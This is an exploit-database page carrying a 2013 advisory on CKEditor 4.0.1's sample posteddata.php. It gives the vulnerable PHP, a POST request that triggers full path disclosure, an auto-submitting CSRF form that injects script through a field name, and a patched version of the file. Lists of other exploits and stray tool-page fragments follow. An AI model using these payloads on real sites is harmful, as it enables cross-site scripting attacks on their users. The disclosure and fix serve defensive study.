Menu

Search for hundreds of thousands of exploits

"CKEditor 4.0.1 - Multiple Vulnerabilities"

Author

Exploit author

AkaStep

Platform

Exploit platform

php

Release date

Exploit published date

2013-02-20

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
===========================================
Vulnerable Software: ckeditor 4.0.1 standard
Download: http://download.cksource.com/CKEditor/CKEditor/CKEditor%204.0.1/ckeditor_4.0.1_standard.zip
Vulns: Full Path Disclosure && XSS
===========================================
Tested On: Debian squeeze 6.0.6
Server version: Apache/2.2.16 (Debian)
Apache traffic server 3.2.0
MYSQL: 5.1.66-0+squeeze1
PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug  6 2012 20:08:59)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH
===========================================
Vulnerable Code: /ckeditor/samples/assets/posteddata.php
=============SNIP BEGINS====================

root@debian:/etc/apache2/htdocs/hacker1/admin/ckeditor/samples/assets# cat posteddata.php
<!DOCTYPE html>
<?php
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
?>
<html>
<head>
        <meta charset="utf-8">
        <title>Sample &mdash; CKEditor</title>
        <link rel="stylesheet" href="sample.css">
</head>
<body>
        <h1 class="samples">
                CKEditor &mdash; Posted Data
        </h1>
        <table border="1" cellspacing="0" id="outputSample">
                <colgroup><col width="120"></colgroup>
                <thead>
                        <tr>
                                <th>Field&nbsp;Name</th>
                                <th>Value</th>
                        </tr>
                </thead>
<?php

if ( isset( $_POST ) )
        $postArray = &$_POST ;                  // 4.1.0 or later, use $_POST
else
        $postArray = &$HTTP_POST_VARS ; // prior to 4.1.0, use HTTP_POST_VARS

foreach ( $postArray as $sForm => $value )
{
        if ( get_magic_quotes_gpc() )
                $postedValue = htmlspecialchars( stripslashes( $value ) ) ;
        else
                $postedValue = htmlspecialchars( $value ) ;

?>
                <tr>
                        <th style="vertical-align: top"><?php echo $sForm?></th>
                        <td><pre class="samples"><?php echo $postedValue?></pre></td>
                </tr>
        <?php
}
?>
        </table>
        <div id="footer">
                <hr>
                <p>
                        CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
                </p>
                <p id="copy">
                        Copyright &copy; 2003-2013, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico Knabben. All rights reserved.
                </p>
        </div>
</body>
</html>


=============SNIP ENDS HERE====================



FULL Path Disclosure example: 

URL: http://hacker1.own/admin/ckeditor/samples/sample_posteddata.php
METHOD: $_POST

HEADERS:

Host: hacker1.own
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20100101 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30



$_POST DATA TO SEND:


bangbangbang[]=PATH DISCLOSURE




Result: 
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /etc/apache2/htdocs/hacker1/admin/ckeditor/samples/assets/posteddata.php on line 38

Print screen: http://i076.radikal.ru/1302/84/edbe3f8f4524.png


=================================================

CSRF+XSS
<body onload="javascript:document.forms[0].submit()">
<form name="form1" method="post" action="http://hacker1.own/admin/ckeditor/samples/sample_posteddata.php" enctype="multipart/form-data">
<input type="hidden" name="<script>alert('AkaStep');</script>" id="fupl" value="SENDF"></li>
</form>

=================================================

Print Screen:  http://i062.radikal.ru/1302/e6/25ef023dd589.png



=================================================
And here is fixed version:  /ckeditor/samples/assets/posteddata.php

================SNIP BEGINS=======================
<!DOCTYPE html>
<?php
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
?>
<html>
<head>
  <meta charset="utf-8">
  <title>Sample &mdash; CKEditor</title>
  <link rel="stylesheet" href="sample.css">
</head>
<body>
  <h1 class="samples">
    CKEditor &mdash; Posted Data
  </h1>
  <table border="1" cellspacing="0" id="outputSample">
    <colgroup><col width="120"></colgroup>
    <thead>
      <tr>
        <th>Field&nbsp;Name</th>
        <th>Value</th>
      </tr>
    </thead>
<?php

if ( isset( $_POST ) )
  $postArray = &$_POST ;      // 4.1.0 or later, use $_POST
else
  $postArray = &$HTTP_POST_VARS ;  // prior to 4.1.0, use HTTP_POST_VARS

foreach ( $postArray as $sForm => $value )
{
  if ( get_magic_quotes_gpc() )
    $postedValue = htmlspecialchars( stripslashes((string) $value ) ) ;
  else
  $postedValue =htmlspecialchars((string) $value ) ;

?>
    <tr>
      <th style="vertical-align: top"><?php echo htmlspecialchars((string)$sForm);?></th>
      <td><pre class="samples"><?php echo $postedValue?></pre></td>
    </tr>
  <?php
}
?>
  </table>
  <div id="footer">
    <hr>
    <p>
      CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
    </p>
    <p id="copy">
      Copyright &copy; 2003-2013, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico Knabben. All rights reserved.
    </p>
  </div>
</body>
</html>

=============ENJOYYY====================

               KUDOSSSSSSS
=========================================
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
secunia.com
securityhome.eu
exploitsdownload.com
osvdb.com
websecurity.com.ua
1337day.com
itsecuritysolutions.org

to all Aa Team + to all Azerbaijan Black HatZ
+ *Especially to my bro CAMOUFL4G3 *
To All Turkish Hackers

Also special thanks to: ottoman38 & HERO_AZE
===========================================

/AkaStep
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2013-04-03 "SmallFTPd - Denial of Service" dos windows AkaStep
2013-03-15 "ClipShare 4.1.4 - Multiple Vulnerabilities" webapps php AkaStep
2013-02-20 "CKEditor 4.0.1 - Multiple Vulnerabilities" webapps php AkaStep
2013-02-19 "CKEditor - 'posteddata.php' Cross-Site Scripting" webapps php AkaStep
2013-02-05 "Glossword 1.8.3 - SQL Injection" webapps php AkaStep
2013-02-05 "glossword 1.8.12 - Multiple Vulnerabilities" webapps php AkaStep
2013-01-28 "PHP weby directory software 1.2 - Multiple Vulnerabilities" webapps php AkaStep
2013-01-25 "PHPWeby Free Directory Script - 'contact.php' Multiple SQL Injections" webapps php AkaStep
2013-01-18 "PHP-Charts - Arbitrary PHP Code Execution" webapps php AkaStep
2013-01-08 "MotoCMS - admin/data/users.xml Access Restriction Weakness Information Disclosure" webapps php AkaStep
2013-01-02 "osTicket - 'tickets.php?status' Cross-Site Scripting" webapps php AkaStep
2013-01-02 "osTicket - 'l.php?url' Arbitrary Site Redirect" webapps php AkaStep
2012-12-04 "Sourcefabric Newscoop - 'f_email' SQL Injection" webapps php AkaStep
2012-11-23 "Greenstone - Multiple Vulnerabilities" remote multiple AkaStep
2012-09-22 "WordPress 3.4.2 - Cross-Site Request Forgery" webapps php AkaStep
2012-09-18 "WordPress 3.4.2 - Multiple Path Disclosure Vulnerabilities" webapps php AkaStep
2012-09-04 "Sciretech (Multiple Products) - Multiple SQL Injections" webapps php AkaStep
2012-09-03 "Sitemax Maestro - SQL Injection / Local File Inclusion" webapps php AkaStep
2012-06-22 "Cotonti - 'admin.php' SQL Injection" webapps php AkaStep
2012-06-21 "traq 2.3.5 - Multiple Vulnerabilities" webapps php AkaStep
2012-05-27 "AzDGDatingMedium 1.9.3 - Multiple Remote Vulnerabilities" webapps php AkaStep
2012-05-23 "Ruubikcms 1.1.x - Cross-Site Scripting / Information Disclosure / Directory Traversal" webapps php AkaStep
2012-05-23 "Ajaxmint Gallery 1.0 - Local File Inclusion" webapps php AkaStep
2012-05-20 "Concrete5 FlashUploader - Arbitrary '.SWF' File Upload" webapps php AkaStep
2012-05-20 "Concrete CMS < 5.5.21 - Multiple Vulnerabilities" webapps php AkaStep
2012-05-10 "Chevereto 1.91 - '/Upload/engine.php?v' Cross-Site Scripting" webapps php AkaStep
2012-05-10 "Chevereto 1.91 - '/Upload/engine.php?v' Traversal Arbitrary File Enumeration" webapps php AkaStep
2012-04-27 "MySQLDumper 1.24.4 - 'restore.php?Filename' Cross-Site Scripting" webapps php AkaStep
2012-04-27 "MySQLDumper 1.24.4 - 'install.php' Multiple Cross-Site Scripting Vulnerabilities" webapps php AkaStep
2012-04-27 "MySQLDumper 1.24.4 - 'install.php?language' Traversal Arbitrary File Access" webapps perl AkaStep 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected